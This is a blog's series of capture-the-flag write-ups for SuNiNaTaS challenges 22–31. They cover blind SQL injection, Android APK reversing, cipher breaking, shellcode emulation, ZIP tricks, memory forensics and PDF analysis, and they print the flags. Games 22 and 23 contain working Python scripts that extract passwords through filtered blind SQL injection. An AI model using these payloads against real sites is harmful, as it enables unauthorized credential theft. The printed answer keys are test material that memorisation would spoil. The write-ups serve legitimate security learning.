Hello Navi

Tech, Security & Personal Notes

challenges

Game 22

This is a blind SQL injection challenge with heavy filtering. Keywords blocked include: select, union, or, whitespace, by, having, from, char, ascii, left, right, delay, 0x.

The goal is to find the admin’s password. Start with credentials guest/guest to obtain a valid session.

Use a Python script to extract the password character-by-character via blind SQL injection:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import requests
import string

url = "http://suninatas.com/challenge/web22/web22.asp"
cookies = {
"ASP.NET_SessionId": "...",
"auth_key": "...",
# ... other session cookies
}

charset = string.ascii_letters + string.digits + "!@#$%^&*()_+"
password = ""

for i in range(1, 31):
found_char = False
for char in charset:
# Test: substring(pw, index, length) = char
payload = f"'and(substring(pw,{i},1)='{char}')--"
params = {'id': 'admin' + payload, 'pw': 'a'}

try:
r = requests.get(f"{url}?id={params['id']}&pw={params['pw']}", cookies=cookies)
if "OK" in r.text:
password += char
print(f"[+] Found char at index {i}: {char}")
found_char = True
break
except Exception as e:
print(f"[!] Error: {e}")

if not found_char:
break

print(f"[SUCCESS] Final Password: {password}")

Running the script reveals the admin password:

1
2
3
4
5
6
7
8
9
10
11
12
13
[+] Found char at index 1: N
[+] Found char at index 2: 1
[+] Found char at index 3: c
[+] Found char at index 4: 3
[+] Found char at index 5: B
[+] Found char at index 6: i
[+] Found char at index 7: l
[+] Found char at index 8: n
[+] Found char at index 9: l
[+] Found char at index 10: )
[+] Found char at index 11: +
[+] Found char at index 12: +
...
N1c3Bilnl)

challenges

Game 23

This is a hard blind SQL injection challenge with extensive filtering. Blocked keywords include: admin, select, union, by, having, substring, from, char, delay, 0x, hex, asc, desc.

Start with credentials guest/guest. The hint is to bypass the admin string filter using string concatenation: ad'+'min'.

Since substring() is filtered, use the left() function instead to extract characters from the left side of the password:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import requests
import string
import sys

TARGET_URL = "http://suninatas.com/challenge/web23/web23.asp"
COOKIES = {"ASPSESSIONIDAASRCCSR": "..."}

CHARSET = string.ascii_letters + string.digits + "!@#$%^&*()_+"
MAX_LENGTH = 31
SUCCESS_INDICATOR = "OK <font size=4 color=blue>admin"

def check_str(count, test_string):
params = {
'id': f"'or left(pw,{count})='{test_string}'--",
'pw': 'ar',
}
try:
response = requests.get(TARGET_URL, params=params, cookies=COOKIES, timeout=5)
return SUCCESS_INDICATOR in response.text
except requests.RequestException:
return False

def main():
print(f"[*] Starting Blind SQL Injection on {TARGET_URL}")
extracted_string = ""

for i in range(1, MAX_LENGTH + 1):
found = False
for char in CHARSET:
if check_str(i, extracted_string + char):
extracted_string += char
print(f"[+] Char {i}: {char}")
found = True
break

if not found:
break

print(f"\n[SUCCESS] Password: {extracted_string}")

if __name__ == "__main__":
main()

Running the script extracts the password character by character:

1
2
3
4
5
6
7
8
9
10
11
[+] Char 1: v
[+] Char 2: 3
[+] Char 3: r
[+] Char 4: y
[+] Char 5: h
[+] Char 6: a
[+] Char 7: r
[+] Char 8: d
[+] Char 9: s
[+] Char 10: q
...
v3ryhardsqli

challenges

Game 24

We have an Android APK file to reverse engineer:

1
2
❯ file suninatas24
suninatas24: Android package (APK), with AndroidManifest.xml, with APK Signing Block

Decompile the APK using jadx (rename the file with .apk extension first):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public class MainActivity extends Activity {
@Override
public void onCreate(Bundle bundle) {
super.onCreate(bundle);
setContentView(R.layout.activity_main);
((Button) findViewById(R.id.btn_send)).setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
EditText editText = (EditText) MainActivity.this.findViewById(R.id.input_pw);
EditText editText2 = (EditText) MainActivity.this.findViewById(R.id.input_key);
Editable text = ((EditText) MainActivity.this.findViewById(R.id.input_id)).getText();
Editable text2 = editText.getText();
Editable text3 = editText2.getText();
if (text3.toString().equals("https://www.youtube.com/channel/UCuPOkAy1x5eZhUda-aZXUlg")) {
MainActivity.this.startActivity(new Intent("android.intent.action.VIEW",
Uri.parse("http://www.suninatas.com/challenge/web24/chk_key.asp?id=" +
text.toString() + "&pw=" + text2.toString() + "&key=" + text3.toString())));
return;
}
new AlertDialog.Builder(MainActivity.this).setMessage("Wrong!").show();
}
});
}
}

The code reveals a hardcoded validation: the key field must equal https://www.youtube.com/channel/UCuPOkAy1x5eZhUda-aZXUlg.

Construct the URL with a test account and the hardcoded key:

1
http://www.suninatas.com/challenge/web24/chk_key.asp?id=testuser&pw=testpass&key=https://www.youtube.com/channel/UCuPOkAy1x5eZhUda-aZXUlg

This triggers the backend verification which returns the auth key.

Auth_key = StARtANdr0idW0r1d

challenges

Game 25

We have another Android APK to reverse engineer. Extract and decompile it:

1
2
3
4
5
6
❯ file Suninatas25
Suninatas25: Zip archive data, ...

❯ unar Suninatas25
mv Suninatas25 Suninatas25.apk
# Open with jadx

The decompiled code reveals the app’s logic:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
public class Suninatas25 extends Activity {
public void onCreate(Bundle savedInstanceState) {
// Reads contact with name "SuNiNaTaS"
String conId = Suninatas25.this.getContacts("id");
String conNum = Suninatas25.this.getTel(conId);

// Constructs URL with contact name and number
Uri uri = Uri.parse("http://www.suninatas.com/challenge/web25/chk_key.asp?id=" +
id.toString() + "&pw=" + pw.toString() + "&Name=" + conName.toString() +
"&Number=" + conNum.toString());
Intent it = new Intent("android.intent.action.VIEW", uri);
Suninatas25.this.startActivity(it);
}

public String getTel(String Idno) {
// Retrieves phone number for contact ID
StringBuffer tnum = new StringBuffer();
Cursor phones = getContentResolver().query(
ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null,
"contact_id=" + Idno, null, null);
while (phones.moveToNext()) {
String phoneNumber = phones.getString(phones.getColumnIndex("data1"));
tnum.append(phoneNumber);
}
return tnum.toString();
}

public String getContacts(String Sel) {
// Searches for contact named "SuNiNaTaS"
StringBuffer sb = new StringBuffer();
Cursor contacts = getContentResolver().query(
ContactsContract.Contacts.CONTENT_URI, null, null, null, null);
while (contacts.moveToNext()) {
String displayName = contacts.getString(contacts.getColumnIndex("display_name"));
String contactId = contacts.getString(contacts.getColumnIndex("_id"));
if (displayName.equals("SuNiNaTaS")) {
if (Sel.equals("id")) {
sb.append(contactId);
}
}
}
return sb.toString();
}
}

The vulnerability: the app reads the device’s contacts and looks for a contact named exactly SuNiNaTaS. To exploit it:

  1. Create a test account
  2. Add a contact to the phone with display name SuNiNaTaS and any phone number
  3. Run the app to extract the contact’s phone number
  4. Submit the request with the contact info:

Or directly enter the URL:

1
http://www.suninatas.com/challenge/web25/chk_key.asp?id=testuser&pw=testpass&Name=SuNiNaTaS&Number=1234567890

The server verifies the contact information and returns the auth key.

FanTast1c aNdr0id w0r1d!

challenges

Game 26

This challenge requires breaking a random substitution cipher using frequency analysis. The ciphertext is:

1
szqkagczvcvyabpsyincgozdainvscbnivpnzvbpnyfkqhzmmpcqhzygzgfcxznvvzgdfnvbpnjyifxmpcqhzygbpnoyaimygbzgngbvmpcqhzygcbpinnbzqndicgxhiztozgcfmpcqhzygbpnjyifxeagzyimpcqhzygbpneagzyidicgxhiztozgcfmpcqhzygcgxcoyaibzqnvyabpsyincggcbzygcfmpcqhzygszqzvbpnozivbvyabpsyincgozdainvscbnibyjzgcqnxcfcbcgzvaeagzyiyivngzyidicgxhiztnungbzvampcqhzygvpzhcgxbpnyfkqhzmdcqnvvpnzvbpnozivbonqcfnvscbnibyjzgbpnyfkqhzmdcqnvbpnjyifxmpcqhzygvpzhvbpnoyaimygbzgngbvmpcqhzygvpzhvcgxbpndicgxhiztozgcfvpnzvygnyobpnqyvbpzdpfkinmydgzlnxcbpfnbnvcgxqnxzcozdainvzgvyabpsyinccvyochizfbpzvkncivpnzvicgsnxvnmygxzgbpnjyifxrkbpnzgbnigcbzygcfvscbzgdagzygvpnzvbpnmaiingbinmyixpyfxnioyifcxznvzgbpnvpyibhiydicqbpnoinnvscbzgdcgxbpnmyqrzgnxbybcfagxnibpnzvaeaxdzgdvkvbnqvpnzvcfvybpnozivbonqcfnvscbnibyvaihcvvbpnbjypaxincxhyzgbqcisagxnibpnzvaeaxdzgdvkvbnqvpnpcvgnunirnnghfcmnxyoobpnhyxzaqzgpningbzinmcinni

Frequency Analysis Approach:

Analyze the character frequency in the ciphertext:

1
2
3
4
5
6
7
8
9
10
$ echo "$CIPHER" | fold -w1 | sort | uniq -c | sort -nr
92 n
78 z
69 g
65 c
65 b
62 v
60 i
59 y
58 p

In English text, the most common letters are E, T, A, O, I, N. Since n is the most frequent cipher character (92 occurrences), it likely maps to e in the plaintext. Similarly, z (78 occurrences) might map to t.

Use an online frequency analysis solver or substitution cipher tool to find the plaintext. Tools like quipqiup.com or frequency_analysis.html can automatically break the cipher based on English word frequencies.

The plaintext decrypts to a biography of Kim Yuna, a renowned South Korean figure skater, and the flag is her name.

kimyuna

challenges

Game 27

We have an intercepted message containing hidden x86 shellcode. The challenge is to extract the secret by emulating the code.

The message file contains x86 machine code that, when executed, pushes characters onto the stack one by one to form the flag. Use the Unicorn Engine to emulate x86 code and monitor stack writes:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
#!/usr/bin/env python3
"""
x86 Emulation using Unicorn Engine to extract flag characters
pushed onto the stack during code execution.
"""

import sys
from unicorn import *
from unicorn.x86_const import *

CODE_FILE = 'message.txt'
BASE_ADDRESS = 0x1000000
STACK_ADDRESS = 0x2000000
MEM_SIZE = 2 * 1024 * 1024

flag_chars = []

def hook_mem_write(uc, access, address, size, value, user_data):
"""Capture stack writes (PUSH instructions) and extract characters."""
if access == UC_MEM_WRITE:
try:
char = chr(value)
if char.isprintable():
flag_chars.append(char)
print(f"[+] Pushed: '{char}' (0x{value:02x})")
except Exception:
pass

def main():
# Load shellcode
try:
with open(CODE_FILE, 'rb') as f:
code = f.read()
except FileNotFoundError:
print(f"Error: {CODE_FILE} not found.")
sys.exit(1)

print(f"Emulating x86 code ({len(code)} bytes)...")

try:
# Initialize x86 32-bit emulator
mu = Uc(UC_ARCH_X86, UC_MODE_32)

# Map memory regions
mu.mem_map(BASE_ADDRESS, MEM_SIZE)
mu.mem_map(STACK_ADDRESS, MEM_SIZE)

# Load code
mu.mem_write(BASE_ADDRESS, code)

# Initialize registers
mu.reg_write(UC_X86_REG_EAX, 0x0)
mu.reg_write(UC_X86_REG_ESP, STACK_ADDRESS + (MEM_SIZE // 2))

# Hook memory writes to capture pushed characters
mu.hook_add(UC_HOOK_MEM_WRITE, hook_mem_write)

# Execute
mu.emu_start(BASE_ADDRESS, BASE_ADDRESS + len(code))

except UcError as e:
# Emulation ends with an error when code runs off or lacks exit syscall
print(f"Emulation stopped: {e}")

# Output results
if flag_chars:
print(f"\n{'='*20}")
print(f"Extracted Flag: {''.join(flag_chars)}")
print(f"{'='*20}")

if __name__ == '__main__':
main()

Running the emulator extracts characters pushed during execution:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
[+] Pushed: 'k' (0x6b)
[+] Pushed: 'e' (0x65)
[+] Pushed: 'y' (0x79)
[+] Pushed: '_' (0x5f)
[+] Pushed: 'i' (0x69)
[+] Pushed: 's' (0x73)
[+] Pushed: '_' (0x5f)
[+] Pushed: 'a' (0x61)
[+] Pushed: 'c' (0x63)
[+] Pushed: 'c' (0x63)
[+] Pushed: 'b' (0x62)
[+] Pushed: 'g' (0x67)
[+] Pushed: 'g' (0x67)
[+] Pushed: 'j' (0x6a)

====================
Extracted Flag: key_is_accbggj
====================
accbggj

challenges

Game 28

The hint says brute-force is unnecessary, so this is likely a file-format trick.

1
2
$ file So_Simple.zip
So_Simple.zip: Zip archive data, ...

This challenge uses ZIP pseudo-encryption (the encrypted flag bit is set even though the entry is not truly encrypted). That can break normal extraction in some tools.

Method 1: Use a pseudo-encryption aware tool

unar can extract So_Simple.zip directly:

1
2
3
4
5
$ unar So_Simple.zip
So_Simple.zip: Zip
Am_I_key.zip (205 B)... OK.
Am_I_key2.txt (4335 B)... OK.
Am_I_key3.txt (1445 B)... OK.

Then extract the nested ZIP:

1
2
3
4
5
6
7
8
9
10
$ unar Am_I_key.zip
Am_I_key.zip: Zip
There_is_key.txt (61 B)... OK.

$ cat There_is_key.txt
Isn't it so easy?

Take it.

dGE1dHlfSDR6M2xudXRfY29mZmVl

Decode Base64:

1
2
$ echo dGE1dHlfSDR6M2xudXRfY29mZmVl | base64 -d
ta5ty_H4z3lnut_coffee

Method 2: Patch ZIP header manually

You can also fix the ZIP flags in a hex editor (or radare2) by clearing the encryption bit in the local file header / central directory entries (0x0908 -> 0x0008 for relevant records). After patching, standard unzip tools work.

ta5ty_H4z3lnut_coffee

challenges

Game 29

This challenge is a forensic incident response scenario with four answers (Q1-Q4) and a final auth hash.

Given artifact:

1
2
$ file 'Windows7(SuNiNaTaS)'
Windows7(SuNiNaTaS): EGG archive data, version 1.0

EGG is an ALZip archive format. I extracted it in a Windows guest (Bandizip), then analyzed the VM artifacts from Linux.

Extracted files include:

  • Windows 7.vmdk (disk)
  • Windows 7-Snapshot2.vmem (memory)

Environment setup used

1
2
3
4
5
6
# mount Windows disk read-only
$ sudo guestmount -a "Windows 7.vmdk" -m /dev/sda1 --ro /mnt/win

# memory analysis
$ vol -f 'Windows 7-Snapshot2.vmem' -s ./volsym windows.pslist
$ vol -f 'Windows 7-Snapshot2.vmem' -s ./volsym windows.cmdline

Q1: Fix broken www.naver.com and recover key

hosts was tampered:

1
2
3
4
5
6
$ cat /mnt/win/Windows/System32/drivers/etc/hosts
...
121.189.57.82 naver.com
121.189.57.82 www.naver.com
...
# C0ngr4tur4ti0ns!! This is a Keeeeeeeeeeey : what_the_he11_1s_keey

Q1 key:

1
what_the_he11_1s_keey

Q2: Installed keylogger location + filename (lowercase)

From memory process list and command line:

1
2
3
4
5
6
7
8
9
10
$ vol -f 'Windows 7-Snapshot2.vmem' -s ./volsym windows.pslist
...
1556 1344 v1tvr0.exe ...
1564 1344 notepad.exe ...
...

$ vol -f 'Windows 7-Snapshot2.vmem' -s ./volsym windows.cmdline
...
1556 v1tvr0.exe "C:\v196vv8\v1tvr0.exe"
...

Q2 answer:

1
c:\v196vv8\v1tvr0.exe

Q3: Download time of keylogger

I first checked filesystem/MFT timestamps, but they are not the best source for “download time”:

1
2
3
4
5
$ stat /mnt/win/v196vv8/v1tvr0.exe
# shows access/modify/change, no reliable creation/birth here

$ vol -f 'Windows 7-Snapshot2.vmem' -s ./volsym windows.mftscan.MFTScan | grep -i v1tvr0.exe
# MFT timestamps found, but still not direct browser download evidence

Better evidence: Internet Explorer history (index.dat).

1
2
3
4
5
$ find /mnt/win -name 'index.dat' -exec strings -f {} \; | grep -i 'spy-2010-keylogger-surveillance-spy-3.exe'
./Users/training/AppData/Local/Microsoft/Windows/History/History.IE5/index.dat: Visited: training@http://192.168.163.1/files/pc-spy-2010-keylogger-surveillance-spy-3.exe

$ pasco index.dat | grep -i exe
URL Visited: training@http://192.168.163.1/files/pc-spy-2010-keylogger-surveillance-spy-3.exe 05/24/2016 03:25:06

Challenge format: yyyy-mm-dd_hh:mm:ss. Original analysis timezone was UTC+8, challenge expected UTC+9, so:

1
2016-05-24_04:25:06

Q4: What did the keylogger capture?

Recovered log snippet (z1.dat):

1
4:37:57  How did you know pAsS\orD? Wow... Kee22 ls "blackkey is a Good man"

Q4 key:

1
blackkey is a Good man

Final Auth Key

Rule:

1
lowercase(md5(Q1_key + Q2_answer + Q3_answer + Q4_key))

Concatenation:

1
what_the_he11_1s_keeyc:\v196vv8\v1tvr0.exe2016-05-24_04:25:06blackkey is a Good man

Result:

970f891e3667fce147b222cc9a8699d4

challenges

Game 30

Challenge summary:

  • Q1: IP address of General Kim’s PC
  • Q2: Secret document read by hacker
  • Q3: Content of that document (contains a key)
  • Final: lowercase(md5(Q1 + Q2 + Q3))

Given artifact:

1
2
$ file 'MemoryDump(SuNiNaTaS)'
MemoryDump(SuNiNaTaS): data

I used Volatility 3 throughout.

Initial triage

Identify OS profile and basic context:

1
2
3
4
5
6
$ vol -f 'MemoryDump(SuNiNaTaS)' -s ~/ctf/symbolTables windows.info
...
Is64Bit False
NTBuildLab 7601.18044.x86fre.win7sp1_gdr.13
SystemTime 2016-05-24 09:47:40+00:00
...

Q1: IP address of General Kim’s PC

Check active/known network artifacts:

1
2
3
4
5
6
$ vol -f 'MemoryDump(SuNiNaTaS)' -s ~/ctf/symbolTables windows.netscan
...
0x3f270450 TCPv4 192.168.197.138 139 0.0.0.0 0 LISTENING 4 System
0x3f270768 UDPv4 192.168.197.138 137 * 0 4 System
0x3fdd5620 TCPv4 192.168.197.138 49248 113.29.189.142 80 ESTABLISHED - -
...

Q1 answer:

1
192.168.197.138

Q2: Which secret document was read?

Find interesting user actions from process arguments:

1
2
3
4
$ vol -f 'MemoryDump(SuNiNaTaS)' -s ~/ctf/symbolTables windows.cmdline
...
3728 notepad.exe notepad C:\Users\training\Desktop\SecreetDocumen7.txt
...

Q2 answer:

1
SecreetDocumen7.txt

Q3: Content/key inside the secret document

Locate and dump the file from memory:

1
2
3
4
5
6
7
8
9
10
11
12
$ vol -f 'MemoryDump(SuNiNaTaS)' -s ~/ctf/symbolTables windows.filescan | grep 'SecreetDocumen7.txt'
0x3df2ddd8 100.0\Users\training\Desktop\SecreetDocumen7.txt

$ vol -f 'MemoryDump(SuNiNaTaS)' -s ~/ctf/symbolTables windows.dumpfiles --phy 0x3df2ddd8
...
file.0x3df2ddd8.0x85d7d150.DataSectionObject.SecreetDocumen7.txt.dat

$ xxd file.0x3df2ddd8.0x85d7d150.DataSectionObject.SecreetDocumen7.txt.dat
...
00000050: 7920 6973 2022 3472 6d79 5f34 6972 666f y is "4rmy_4irfo
00000060: 7263 655f 4e34 7679 2200 0000 0000 0000 rce_N4vy".......
...

Q3 key:

1
4rmy_4irforce_N4vy

Final Auth Key

Concatenate in order:

1
192.168.197.138SecreetDocumen7.txt4rmy_4irforce_N4vy

Compute lowercase MD5:

c152e3fb5a6882563231b00f21a8ed5f

challenges

Game 31

Challenge statement:

1
2
3
* Info : This PDF file don't attack your PC. Just using for study.
Analyze this PDF and Find a Flag.
Auth Key = lowercase(MD5(Flag))

Initial PDF triage

1
2
3
4
5
6
$ pdfid Hello_SuNiNaTaS.pdf
...
/JS 1
/JavaScript 2
/EmbeddedFile 0
...

pdfid shows JavaScript indicators, but the interesting part is a nested object tree.

Main solve path (works)

Search for JavaScript references and inspect container objects:

1
2
3
4
5
6
$ pdf-parser -s JavaScript Hello_SuNiNaTaS.pdf
obj 30 0
<<
/JavaScript 31 0 R
/EmbeddedFiles 38 0 R
>>

Follow embedded-file references:

1
2
3
4
5
6
7
8
9
$ pdf-parser -o 38 Hello_SuNiNaTaS.pdf
obj 38 0
Referencing: 40 0 R

$ pdf-parser -o 39 -f -d nested.pdf Hello_SuNiNaTaS.pdf
obj 39 0
Contains stream
/Subtype /a
/Filter /FlateDecode

Now analyze extracted nested.pdf:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ pdfid nested.pdf
...
/Encrypt 1
/JS 1
/JavaScript 1
/OpenAction 1
...

$ qpdf --decrypt nested.pdf decrypted.pdf

$ pdf-parser -s js decrypted.pdf
obj 2 0
<<
/JS 4 0 R
/S /JavaScript
>>

$ pdf-parser -o 4 -f -d dump decrypted.pdf
$ cat dump
"HERE IS FLAGS *********************"

Flag:

SunINatAsGOodWeLL!@#$

Decoy path (time sink)

You can also extract object 37 as JavaScript payload:

1
2
3
4
$ pdf-parser -o 37 -d payload.js Hello_SuNiNaTaS.pdf
$ node payload.js
Decoded content:
Vm0wd2QyVkZOVWRXV0doVVYwZG9W...

Repeated Base64 decoding eventually gives:

1
I am sorry, This is not Key~!!

So object 37 is a distraction; the real flag is in the decrypted nested PDF JavaScript stream.